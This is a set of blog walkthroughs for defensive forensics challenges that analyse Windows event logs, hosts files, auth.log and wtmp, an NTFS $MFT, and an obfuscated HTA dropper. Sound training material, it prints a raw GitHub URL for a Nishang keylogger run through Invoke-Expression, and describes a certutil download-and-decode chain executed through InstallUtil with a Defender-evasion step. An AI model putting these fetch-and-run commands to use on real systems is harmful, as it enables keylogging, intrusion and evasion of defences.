After confirming that the file is malicious, check the “Family labels” to determine what tool the sample is. If you’d prefer a simpler approach, another option is to open the tool’s output text file, mim-out from the directory. This will reveal which tool created the output and allows us to see what password hashes were exposed.

https://attack.mitre.org/software/S0002/

By following these steps, we’ve identified the tool used to dump the Windows credentials and gathered more information about the attack.

Question 13: What was the attackers external control and command servers IP?

Now that we understand what method the attacker used for credential access, we’ll need to learn more about their infrastructure and discover the IP of their command and control server. I’ll admit that I spent far too much time digging through the scripts, event logs, and other artifacts on the system, so I’ll give you the short version of what worked.

Since the victim device does not have a live internet connection, we’ll have to rely on artifacts on the system to piece together this information. One place we can check is the Windows hosts file, which performs manual IP address to hostname mappings, even overriding a DNS server. The file can be located at:

C:\Windows\System32\drivers\etc\hosts

After examining the hosts file, we notice some strange entries, indicating that the attacker attempted to prevent the victim’s device from navigating to VirusTotal (whoops!), updating Sophos anti-malware products, and reaching Microsoft Update. Something sticks out here though. Most of these entries are for the local loopback IP address or a private IP address, but two entries are mapped to a public IP address. This anomaly is enough to warrant further investigation.

For the purposes of this walkthrough, we’ve found the answer — the public IP addresses in the hosts file likely belongs to the attacker’s command and control infrastructure.

Question 14: What was the extension name of the shell uploaded via the servers website?

To discover the answer to Question 14, let’s focus on a clue in the question itself: “shell uploaded via the servers website.” This tells us that the compromised device is also acting as a web server. In Windows, the IIS service typically stores the web server assets in the folder C:\inetpub\wwwroot.

By examining this directory on the compromised system, we’ll discover three potentially malicious files.

Capturing the file hashes, we’ll pivot back over to VirusTotal to gather some additional intelligence to determine if we’ve identified WebShells (T1505.003) uploaded by the attacker for persistence.

https://www.virustotal.com/gui/file/322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be4/detection

https://www.virustotal.com/gui/file/85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca

Using VirusTotal, we can analyze the file hashes to confirm if these files are indeed malicious WebShells. The file extension of the shell uploaded via the server’s website will be revealed through this analysis.

Question 15: What was the last port the attacker opened?

To determine the last port the attacker opened, we’ll turn our focus to searching for activity related to network ports. Specifically, we’ll assess the Windows Firewall rules to check if the attacker made any modifications to grant access through the firewall.

Instead of blindly reviewing the firewall rules, let’s work a little smarter by auditing the event log again to check for any changes during the time of the attack.

To find Windows Firewall rule changes in the event log, follow these steps:

Navigate to Event Viewer > Applications and Services Logs > Microsoft > Windows > Windows Firewall with Advanced Security > Firewall.
Filter for “Events On” the date of the attack so that we can review the changes.

While there many events captured, most look benign and expected for a Windows system — except one that sticks out due to the rule name and the user account that modified the rule.

Identifying a new Windows Firewall rule with the Event Viewer

Next, let’s locate this rule in Windows Firewall with Advanced Security options by navigating to Inbound Rules. This console can be accessed by pressing the Windows “start” button and typing in “firewall.”

Validating the new firewall rule in the Windows Firewall interface

Once we’ve located the rule that we discovered in the event logs, we can check the local port that was opened on the firewall by the attacker and identify the last port they opened.

Question 16: Check for DNS poisoning, what site was targeted?

We’ve made it to the last question for our investigation — great job! Fortunately, we’ve already stumbled across the answer for Question 16 during our analysis of the hosts file back in Question 13.

The answer we’re looking for is the host name entry associated with the command and control IP address we discovered. This entry indicates the site targeted by DNS poisoning.

By reviewing the hosts file again, we can confirm the targeted site and understand how the attacker manipulated DNS settings to redirect traffic to their command and control server. Now let’s wrap up this investigation!

Conclusion:

Mission accomplished! Throughout this investigation, we combed through the Windows Event Logs to determine what users accessed the system and correlated event data during the timeframe of the attack. Using Registry Editor and Task Scheduler, we discovered the attacker’s methods of persistence and found evidence of payloads executing on logon and at scheduled intervals. Finally, we uncovered further evidence of the attack in the Windows Hosts File and File Explorer which we enriched using threat intelligence from VirusTotal.

Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the Investigating Windows!

A big thank you to TryHackMe, for the fun and realistic challenge! This was an excellent opportunity for me to practice hands-on-keyboard analysis of a Windows environment to manually perform the investigation. It was a great lesson in the fundamentals of DFIR and promoted a creative analysis of the available artifacts to discover the answers to the questions. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

-Challenge Link: https://tryhackme.com/room/investigatingwindows

-MITRE ATT&CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): https://attack.mitre.org/techniques/T1105/

-MITRE ATT&CK — Scheduled Task/Job: Scheduled Task (T1053.005): https://attack.mitre.org/techniques/T1053/005/

-Microsoft Learn — schtasks commands: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks

-Microsoft Learn — 4624(S): An account was successfully logged on: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624

-VirusTotal — f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622: https://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622

-MITRE ATT&CK — Mimikatz (S0002): https://attack.mitre.org/software/S0002/

-MITRE ATT&CK — Server Software Component: Web Shell (T1505.003): https://attack.mitre.org/techniques/T1505/003/

-VirusTotal — 322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be: https://www.virustotal.com/gui/file/322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be4

-VirusTotal — 85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca: https://www.virustotal.com/gui/file/85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca

HackTheBox — Brutus Sherlock Walkthrough

Sun, 16 Mar 2025 00:00:00 +0000

HackTheBox — Brutus Sherlock Walkthrough

Investigating a Brute Force Attack Using the auth.log and wtmp log.

Image Credit: https://app.hackthebox.com/sherlocks/Brutus/play

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Brutus challenge from Hack The Box, you’re in the right place. Imagine this scenario as we step into the shoes of a digital forensics analyst:

Challenge Scenario:

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

The adversary has brute-forced the SSH service on a web server, gained initial access, and we need to investigate how it happened and what else they did with their access to mitigate the threat. Our objective is to analyze the server’s auth.log and wtmp logs to create a detailed timeline of the attacker’s activities, including initial access, privilege escalation, and persistence. To analyze these logs, we’re going to leverage Notepad++ and utmpdump, then enrich our findings by pivoting to MITRE ATT&CK to fully understand the adversary’s tactics and techniques.

Sounds exciting, right? Let’s get dive right into it! If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this. Thanks for reading and going on this investigation with me!

Question 1: Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?

Okay — let’s jump right into this challenge by opening the first provided artifact, auth.log. For context, auth.log is the server’s authentication log which is a good starting point to identify a brute force attack as we can analyze successful and failed logins.

While there are other ways to approach the initial analysis, for this walkthrough, I’m going to simply use Notepad++ for my approach but feel free to choose any text editor you’d like!

With the artifact open, scroll through the events, and quickly we’ll observe dozens of lines returning Invalid user and Failed password from a single IP address, 65.2.161.68. The large number of failed attempts to access these accounts is indicative of brute force password guessing (MITRE ATT&CK — T1110.001).

Snippet from auth.log revealing failed username and password guessing attempts.

Question 2: The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?

Now that we’ve discovered the attacker’s IP address, we’ll need to determine what account they successfully accessed. To do this, we’ll first need to understand what a successful login looks like. For example, toward the top of the log on lines 11–15, we’ll find a successful login for the root user from the IP address 203.101.190.9.

auth.log snippet showing a successful sign-in.

Having this information gives us a couple of strings that we can search for in the logs by using the “find” function to search for “accepted password,” indicating a successful login event. Let’s keep searching to see what other accounts logged in.

Notice anything suspicious on line 281? The next hit that we’ll locate is another login from the root user, but this time, the connecting IP address is the attacker’s — 65.2.161.68.

From the sign-in records in the auth.log, we’ve started to gather a rough timeline of the attack. However, we need to correlate this with the second log artifact, wtmp, which contains only the successful login/logout events on the system, for a comprehensive picture of the login activity.

The tricky part is that wtmp is a binary log file, so we can’t simply use Notepad++ to read it like we did for auth.log. Instead, we’ll need to leverage a Linux-based tool like last to read it. According to the Ubuntu manpages:

last searches back through the /var/log/wtmp file (or the file designated by the -f option) and displays a list of all users logged in (and out) since that file was created.

If you’re using a Linux-based analysis environment like I am, you’re in good shape. If you’re using a Windows-based environment, you can utilize something like the Windows Subsystem for Linux (WSL) to access this utility. For this walkthrough, I’ll post screenshots from both my REMnux environment and the WSL output for your reference. Let’s try putting this all together, adding in the full timestamps which we can access with the -F argument.

last -F -f wtmp

last command output in REMnux

last command using WSL

We’re getting closer but notice that the timestamp doesn’t quite match what we found in auth.log. While we can assume that there’s a mismatch between the system time and the local time, let’s try interpreting wtmp another way using a different utility, utmpdump. According to the manpages, utmpdump is “a simple program to dump UTMP and WTMP files in raw format, so they can be examined.” Let’s try it out and see what we can discover.

utmpdump wtmp

utmpdump in REMnux

utmpdump in WSL

Bingo! By dumping the wtmp with utmpdump we can locate the correct timestamp for the attacker’s login to the server. Now that we’ve established a firm timeline, let’s proceed with our investigation.

Now that we’ve identified the timestamp of the attacker’s login, let’s find the corresponding timestamp of the SSH session in the auth.log on line 322. Examining the nearby events more closely, we can see that on line 324, the new session is assigned the ID 37.

Identifying the attacker’s session ID in auth.log

Question 5: The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

When analyzing the wtmp in Question 3, you may have noticed another user account other than root present in the logs from the attacker’s IP address — cyberjunkie.

utmpdump in REMnux highlighting a second user account

Let’s double-verify this finding in the auth.log by searching for this username where we can confirm the activity.

Searching the auth.log for activities from the cyberjunkie account

Question 6: What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

Now that we understand the attacker brute-forced access to the root account and created a second account, cyberjunkie, for persistence, we need to map this technique to MITRE ATT&CK for additional intelligence.

After navigating to the MITRE ATT&CK website, we can evaluate the techniques listed under the persistence tactics. Eventually we’ll stumble across the technique “Create Account” (T1136) which seems to fit. On the page for this technique, we can evaluate the various sub-techniques, such as “Local Account” (T1136.001), leading us to the answer for Question 6.

MITRE ATT&CK — Create Account (T1136) — Sub-Techniques

Create Account: Local Account _Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an…_attack.mitre.org

Question 7: What time did the attacker’s first SSH session end according to auth.log?

Now, let’s jump back to auth.log and analyze when the attacker’s first SSH session as the root user ended. In the log, we’ll search for “disconnect” events from the attacker’s IP, which we can find on lines 355–359.

auth.log snippet showing SSH session disconnect

For double verification, we also stumbled upon this answer when we used last to read the wtmp log back in Question 3.

Validating the session logout time in the wtmp log

Question 8: The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

For the final question of our investigation, let’s continue searching auth.log for activities performed by the cyberjunkie account, focusing specifically on events marked with sudo, or superuser, privileges.

On line 375, we’ll find something interesting: a command string leveraging curl to download a script from a GitHub repository.

auth.log snippet exposing malicious ingress tool transfer (T1105)

While out of scope for this challenge, the downloaded script seems to be a Linux persistence tool which would allow the attacker to maintain their access to the compromised server. From a defense perspective, having this knowledge gives us an idea of the attacker’s next moves.

However, for the purposes of this challenge the command we found is all we need to answer Question 8 and conclude the investigation. Great job!

Conclusion:

Case closed! Using the server’s auth.log and wtmp logs, we successfully identified the time of the attack, the attacker’s IP address, the compromised account, and their methods of persistence. During the investigation, we turned to MITRE ATT&CK to gain deeper insights into each technique, helping us better understand the adversary’s tactics and techniques. Now that we have scoped the attack and achieved our objectives, let’s close out this walkthrough of the Brutus challenge.

A big thank you to Hack The Box, for another engaging and realistic challenge. I chose this challenge as I was unfamiliar with the wtmp logs and what additional artifacts they contain compared to the auth.log. It was incredibly fun and valuable to learn about these logs and how to read them using last and utmpdump. The hands-on practice will absolutely come in handy during real-world during incident response. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your security journey. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.hackthebox.com/sherlocks/Brutus

Notepad++: https://notepad-plus-plus.org/

MITRE ATT&CK — Brute Force (T1110): https://attack.mitre.org/techniques/T1110/

MITRE ATT&CK — Brute Force: Password Guessing (T1110.001): https://attack.mitre.org/techniques/T1110/001/

Ubuntu Manpages — last: https://manpages.ubuntu.com/manpages/focal/man1/last.1.html

Ubuntu Manpages - utmpdump: https://manpages.ubuntu.com/manpages/focal/man1/utmpdump.1.html

MITRE ATT&CK — Create Account: Local Account (T1136.001): https://attack.mitre.org/techniques/T1136/001/

MITRE ATT&CK — Ingress Tool Transfer (T1105): https://attack.mitre.org/techniques/T1105/

LetsDefend — NTFS Forensics Challenge Walkthrough

Sun, 09 Mar 2025 00:00:00 +0000

LetsDefend — NTFS Forensics Challenge Walkthrough

Investigating a Compromised Endpoint’s $MFT Using MFTExplorer

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the NTFS Forensics challenge from LetsDefend, you’re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR) as we uncover the malware artifacts hidden in the Master File Table.

Challenge Scenario:

As a digital forensics analyst with over a decade of experience, you are the go-to person in your organization for Windows disk forensics. Recently, an alert was triggered on a critical server used by administrators as a jump server. This server is frequently accessed for credential management and other sensitive operations, making it a high-value target. It has now been compromised. You are provided with only the Master File Table (MFT) of the endpoint. Your task is to uncover the actions taken by the threat actors on the endpoint.

In this scenario, we’re stepping into the shoes of a seasoned digital forensics analyst as a high-value server has been compromised. Our goal is to analyze the provided artifacts, uncovering critical details about the attack including the initial access method, how the malware got there, what it did after execution, and understand the indicators of compromise.

There’s just one small problem: we are only provided the Master File Table (MFT) database of the Windows-based endpoint, so we’ll need familiarize ourselves with a utility like Eric Zimmerman’s MFTExplorer to parse the MFT database and analyze the metadata within. Throughout our investigation, we’ll enrich our findings with external documentation from Microsoft Learn to have a comprehensive view of the attack.

Sounds like fun, right? Let’s work through this investigation together. If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this. Thanks for reading and going on this investigation with me!

Question 1: Identify the malicious downloaded file. What is the file name?

Let’s dive right into this challenge! We’ll kick it off by extracting the challenge file from the archive in the ChallengeFile folder, leaving us with a curious file, $MFT.

If you aren’t familiar with the MFT, let’s build a foundational understanding about this rich source of forensic data according to Microsoft Learn:

" # "

The NTFS file system contains a file called the master file table, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. All information about a file, including its size, time and date stamps, permissions, and data content, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries."

For our forensic purposes, this means that if we can explore the contents of the MFT, present in the NTFS file system (like the one used in Windows), then we can view metadata for every file on the system.

Let’s put this into practice. One option to analyze the MFT is using Eric Zimmerman’s MFTExplorer, a **" # "

**_Graphical $MFT viewer"to parse the provided MFT file and explore it with a graphical interface. Fortunately for us analysts, MFTExplorer is already installed in the LetsDefend analysis environment and can be found in the " # "

Tools" folder using the path below. Go ahead and launch it.

C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\MFTExplorer\MFTExplorer.exe

Once the tool is open:

Click " # "

File" and select " # "

Load MFT."

Navigate to the $MFT challenge file and select it.
Wait for the file to parse. This will take a few minutes, so sit back and relax while it does the magic.

After the file is parsed, you’ll be presented with a familiar view that looks just like the Windows File Explorer. To answer Question 1, we’re looking for a downloaded file, so let’s navigate to the user’s downloads directory at .\Users\LetsDefend\Downloads.

With a quick analysis, we’ll identify the file scanner98.zip as the malicious file, since .ZIP files are commonly used to deliver malware, whereas the other suspicious file x.ps1 (a PowerShell script) is less likely to be the initial delivery method, instead it’s likely it played a role later in the attack.

Question 2: What is the source URL of the downloaded file?

Now that we’ve identified scanner98.zip as the malicious download, let’s select it and scroll through the data interpreter pane. Here, we’ll stumble upon the referrerURL, which shows the URL where the file originated.

The referrerURL is part of the Mark of the Web (MoTW), a feature used in Windows to identify files downloaded from the internet. According to Wikipedia, MoTW is implemented using the alternate data stream (ADS) feature of NTFS, which is why we are able to view this metadata in the MFT.

Question 3: What was the time of download of the malicious file?

The next stop in our investigation is to determine the download time of scanner98.zip. We can accomplish this goal by looking at the time stamp for the SI_Created On column within MFTExplorer.

For added context, this is the $Standard_Information attribute which indicates the file’s download time represented as the time it’s created on disk. For more information on this topic, check out the excellent research from Magnet Forensics, where this concept is explained in much more detail.

Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact - Magnet Forensics _The goal of timestomping is to edit timestamps being displayed and reported in an attempt to make it seem as though the…_www.magnetforensics.com

Question 4: A powershell script was created on disk by the malicious file. What is the full path of this script on the system?

Now it’s time to pivot and inspect the second suspicious file in the directory, x.ps1, that we previously identified as a PowerShell script. We’ve already found the directory in the Parent Path, and we only need to infer that the question is looking for a drive letter too.

Question 5: What is the file size of the script in bytes?

To answer Question 5, we need to determine the file size of x.ps1. To do this, let’s select it and navigate to the " # "

Overview" section in the bottom right of MFTExplorer. Here, we can review the metadata and attributes to locate the **" # "

DATA" ** attribute toward the bottom of the window, focusing on the Content size flag.

Since the view is a little cramped on the LetsDefend environment, we can copy the contents of the Overview pane and paste it into a tool like Notepad++ to make it easier to read.

Now that we’ve identified the Content size attribute, we’ll need to convert the Hexadecimal value to Decimal to match the answer format. For this operation, we can use a tool like RapidTables for, well, rapid conversion.

Hex to Decimal Conversion: https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98

Question 6: Recover the file contents of this script. What is the URL it reaches out to?

Continuing our analysis of x.ps1, we need to identify any external connections made by the script. Let’s scroll through the data interpreter pane until we stumble across the URL below. You may have also noticed this when we copied the contents into Notepad++ in the previous question.

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Keylogger.ps1

With either method, we will see that the script contacts a GitHub URL, which might indicate that it’s downloading additional payloads.

Question 7: Based on the content you recovered, what MITRE Technique is observed? Answer the subtechnique id.

Now that we’ve identified the GitHub URL contacted by x.ps1, let’s try to understand what the tool does and map it to the MITRE ATT&CK framework. While we can make some assumptions about the intentions of this script based on the filename, Keylogger.ps1, let’s double-check this by reviewing the raw content of this script on GitHub using the URL we identified in the previous question.

Conveniently, the description confirms that this is indeed a keylogging utility. Now, let’s jump over to MITRE ATT&CK, search for " # "

keylogging" , and note the Technique ID (T1056.001) to answer Question 7.

Input Capture: Keylogging _Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to…_attack.mitre.org

Question 8: Which powershell cmdlet was used to execute the code in the script?

We’ve made it to the last question, which requires us to examine the PowerShell command used to contact the GitHub URL identified in Question 6. Looking back into MFTExplorer, we can identify that the [Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5) (IEX) cmdlet is used to run the command. The [Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5) (IEX) cmdlet is commonly used to execute a string as a command, which in this case, runs the PowerShell script from the GitHub URL.

Conclusion:

There we have it! After analyzing the $MFT with MFTExplorer, we’ve successfully identified the malicious file used for initial access, where it was downloaded from, what second-stage payload is retrieved, and its objective. After that, we mapped this tactic to MITRE ATT&CK to determine that it was a keylogging utility and referenced Microsoft Learn to reveal more details about each of these techniques, painting a clearer picture how the adversary was attacking the victim’s device. Now that we have scoped the attack and completed our objectives let’s close out this walkthrough of the NTFS Forensics challenge!

A big thank you to LetsDefend, for another incredible challenge. I chose to tackle this challenge for the opportunity to dig deeper into NTFS attributes and to practice with MFTExplorer. In the past, I’ve used the CLI version, MFTECmd, and I wanted the hands-on experience with the GUI version. I really appreciated that this challenge was flexible enough to approach in multiple ways. Having a better understanding of the forensic artifacts in the $MFT will absolutely be beneficial in the field. Awesome stuff!

Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

LetsDefend Challenge Link: https://app.letsdefend.io/challenge/ntfs-forensics

Microsoft Learn — Master File Table (Local File Systems): https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table

Eric Zimmerman’s Tools — MFTExplorer: https://ericzimmerman.github.io/#!index.md

Wikipedia — Mark of the Web: Mark of the Web — Wikipedia

Magnet Forensics — Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact: https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/

Rapid Tables: https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98

MITRE ATT&CK — Hide Artifacts: NTFS File Attributes (T1564.004): https://attack.mitre.org/techniques/T1564/004/

MITRE ATT&CK — Input Capture: Keylogging (T1056.001): https://attack.mitre.org/techniques/T1056/001/

Microsoft Learn — Invoke-Expression: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5

Eric Zimmerman’s Tools — MFTECmd: GitHub — EricZimmerman/MFTECmd: Parses $MFT from NTFS file systems

LetsDefend — Obfuscated HTA Challenge Walkthrough

Sun, 02 Mar 2025 00:00:00 +0000

LetsDefend — Obfuscated HTA Challenge Walkthrough

Investigating a suspicious HTA file with Detect-It-Easy, CyberChef, and MITRE ATT&CK.

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Obfuscated HTA challenge from LetsDefend, you’re in the right place.

In this digital forensics and incident response (DFIR) challenge, we’re given a suspicious HTML Application (HTA) file discovered on a malware-infected device. Our goal is to open it up, deobfuscate the code, and determine what this file is doing to prevent this attack from happening again.

To aid us in our investigation of the HTA file, we’ll leverage Detect-It-Easy for the file analysis and CyberChef for the decoding operations. Then, we’ll enrich our findings with MITRE ATT&CK, a global knowledge base of adversary tactics and techniques, and Microsoft Learn to gain a comprehensive understanding of the attack.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Scenario:

A suspicious HTA (HTML Application) file was found on an infected machine. The file is obfuscated to hide its true purpose. Your task is to analyze the code, reverse the obfuscation, and determine what the file is doing. Focus on how the code works and the actions it performs to uncover its true purpose.

Question 1: What is the deobfuscated result of the sample in str1?

Let’s kick off our investigation by extracting the suspicious HTA file from sample.7z.

Since we don’t have any information about this file yet, we’ll need to do some sleuthing. A great starting point is to use Detect It Easy (DIE) to identify the file and perform some cursory analysis. Fortunately, this tool is already installed on the LetsDefend analysis environment in the Tools folder. Let’s go ahead and open DIE and point it to the mysterious sample file.

Once DIE is loaded and has parsed the sample, we can confirm it’s an HTML application, which leaves us a couple of options to examine the contents. We can open it in a text editor like Notepad++ or we can examine it within Detect-It-Easy. Either choice will work for this challenge.

For this walkthrough, I’ll be using the latter. In DIE, press the " # "

Binary" button, and select " # "

Strings."

Scroll to line 34, where we see a reference to the str1 variable as scram(sample) — but this doesn’t tell us what the sample is to answer the Question 1.

So, let’s start at the top of the file, looking specifically at line 13. We see var sample defined as a strange-looking, obfuscated string. Now we need to figure out how to decode this and make it readable.

preghgvy.rkr -heypnpur -fcyvg -s

To gain some insight, let’s review the function on lines 14€“19. It appears that var scram is a function that transforms text strings, but the key is the operation on line 19, which references var ranalph variable.

We’re getting closer! Now, focus on var ranalph defined back on line 9, and notice var alph right above it. Comparing them, var alph letter A matches var ranalph letter N, B matches O, C matches P, etc. meaning that the letters are replaced with the letter 13 places after it…this sounds like the ROT13 cipher!

Now that we have a theory about what encoding is being used, let’s test it out and speed up our analysis by using CyberChef. This utility is included in the Tools folder of the LetsDefend VM, or you can use the web-based version — your choice!

Either way, once in CyberChef, paste the encoded var sample string we found earlier, add the ROT13 operation to the recipe, and check out the output — I think we’ve found the answer to Question 1!

But, before we go too much further, let’s examine the output and focus on the usage of certutil.exe. While we don’t yet have the full context of the application, we can start to build the narrative by referring to MITRE ATT&CK’s reference for certutil for additional intelligence.

Reviewing the associated techniques, we’ll discover that " # "

certutil _can be used to download files from a given URL"(T1105). Based on the decoded strings that we discovered in CyberChef, this might indicate that the application performs some download actions.

Let’s keep this in mind as we continue analyzing the rest of the file.

Question 2: After deobfuscating the sample in str2, what is the resulting output?

Now that we’ve determined how the strings are obfuscated, let’s find the sample variable used by str2. We can find this down on line 39, where we see an IP address with some additional obfuscated strings.

To discover the answer to Question 2, we’ll copy the line into CyberChef again using our existing recipe to reveal some additional clues.

We’ve now found an IP address and port where a file (file.txt) is downloaded from, and the directory it’s then copied to on the local system.

This puts us very close to the answer, but the output doesn’t quite match the answer format, does it? We can add the " # "

Find / Replace" operation to the recipe to clean up the extra characters, which should get us to the correct format.

Question 3: What is the deobfuscated result of sample in str3?

To answer Question 3, we’ll perform the same actions that we did in the last question. We’ll find this sample on line 42. Once again, drop it into CyberChef to decode the protocol used.

Question 4: What does the sample in str4 translate to after deobfuscation?

Can you guess what we need to do to answer Question 4?

That’s right! We’ll copy the contents of the sample on line 46 and jump back over to CyberChef.

Once the string is deobfuscated, we’ll uncover another piece of the puzzle. Remember in Question 2, we found evidence of where file.txt was downloaded from? From this new snippet, we see the next step: certutil is used to decode the contents of file.txt and output the results as a new binary, bp.exe.

But how did that happen? Let’s refer back to the MITRE ATT&CK page for certutil to gather more information. We already learned that certutil can be used to download files, but we also see another associated technique (T1140) listed, which is relevant for this question:

certutil has been used to decode binaries hidden inside certificate files as Base64 information.

We can also check the syntax on Microsoft Learn to validate this as well:

certutil [options] -decode InFile OutFile

Question 5: What is the deobfuscated result of sample in str5?

Next up, copy the sample content on line 50 for str5 and return to CyberChef.

After decoding this command, we can determine that the InstallUtil.exe provided as part of the Microsoft .NET Framework interacts with the newly created binary, bp.exe.

Installutil.exe (Installer Tool) - .NET Framework _Use Installutil.exe, the Installer Tool. This tool lets you install or uninstall server resources by executing the…_learn.microsoft.com

Question 6: What is the deobfuscated value of the " # "

wobj" variable?

To answer Question 6, find the sample on line 36.

According to Microsoft Learn, wscript " # “provides an environment in which users can execute scripts in various languages that use various object models to perform tasks,“indicating some script usage.

Question 7: What is the purpose of the cmd variable in the script?

Now it’s time to put together all the pieces of the puzzle we’ve found so far. First, locate the cmd variable on line 54.

We can see that this command is built by combining the strings identified in the previous steps. So, we just need to plug in values for str3, str2, str1, and normalize them to match the required answer format.

While there might be a more efficient way to do this, I chose to perform this process manually in Notepad.

By doing this, we can determine that the full command downloads the second stage payload. Based on the comment on line 53, we can infer that the command sets an environment variable to help the script evade detection by Windows Defender. As we discovered earlier, the script uses certutil.exe to download a file from the specified IP address, port, and path, saving it to C:\Windows\Tasks\file.txt.

By piecing this all together, we can confirm that the purpose of the cmd variable is to stealthily download the file, file.txt, using a living-off-the-land binary, certutil.exe.

Question 8: What is the second command executed by the " # "

ActiveXObject”

We’ve made it to the last question! All that’s left is to look at the cmd2 variable on line 55, which is the second command executed by the ActiveXObject.

This command is more straightforward; it’s simply str4, which we analyzed back in Question 4. The answer for this question should be the same.

Conclusion:

There we have it — great job! Using the Detect-It-Easy and CyberChef, we’ve successfully identified and decoded the application’s strings obfuscated with the ROT13 cipher. With this information, we discovered that the script within the HTA file downloaded a second-stage payload by leveraging the living-off-the-land binary, certutil.exe. After that, this same LOLbin was used to decode the contents, forming a new binary which was executed using InstallUtil.exe. During the investigation, we turned to MITRE ATT&CK and Microsoft Learn to reveal more details about each of these techniques to better understand the adversary’s actions on the victim’s device. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the Obfuscated HTA challenge!

A big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a really fun challenge for me to figure out how the obfuscation was performed and then leverage that information to understand the attack story. I chose this one as I’ve not had an opportunity to analyze an HTA file in a threat context before, so I wanted to see how that process would look. As always, I found so much value by researching on MITRE ATT&CK and Microsoft Learn to fully understand what TTPs we saw — it’s always a great practice for the real world. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/obfuscated-hta

Wikipedia — HTML Application: https://en.wikipedia.org/wiki/HTML_Application

Detect-It-Easy: https://github.com/horsicq/Detect-It-Easy

Wikipedia — ROT13: https://en.wikipedia.org/wiki/ROT13

CyberChef: https://gchq.github.io/CyberChef/

MITRE ATT&CK — Certutil (S0160): https://attack.mitre.org/software/S0160/

MITRE ATT&CK — Ingress Tool Transfer (T1105): https://attack.mitre.org/techniques/T1105/

MITRE ATT&CK — Deobfuscate/Decode Files or Information (T1140): https://attack.mitre.org/techniques/T1140/

Microsoft Learn — Certutil: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode

Microsoft Learn — InstallUtil.exe (Installer tool): https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

Microsoft Learn — wscript: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript

CyberDefenders — IcedID Lab Walkthrough

Mon, 17 Feb 2025 00:00:00 +0000

CyberDefenders —IcedID Lab Walkthrough

A Cyber Threat Intelligence Challenge using VirusTotal, MITRE ATT&CK, and Recorded Future Triage.

Image Credit: https://cyberdefenders.org/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the IcedID Lab from CyberDefenders, you’re in the right place. Prepare to dip your toes into the world of cyber threat intelligence!

In this scenario, we’re investigating a sample of the IcedID banking malware. Our goal is to understand how it operates and identify the threat actor behind it. Having this intelligence can help our team stay one step ahead of this potential threat.

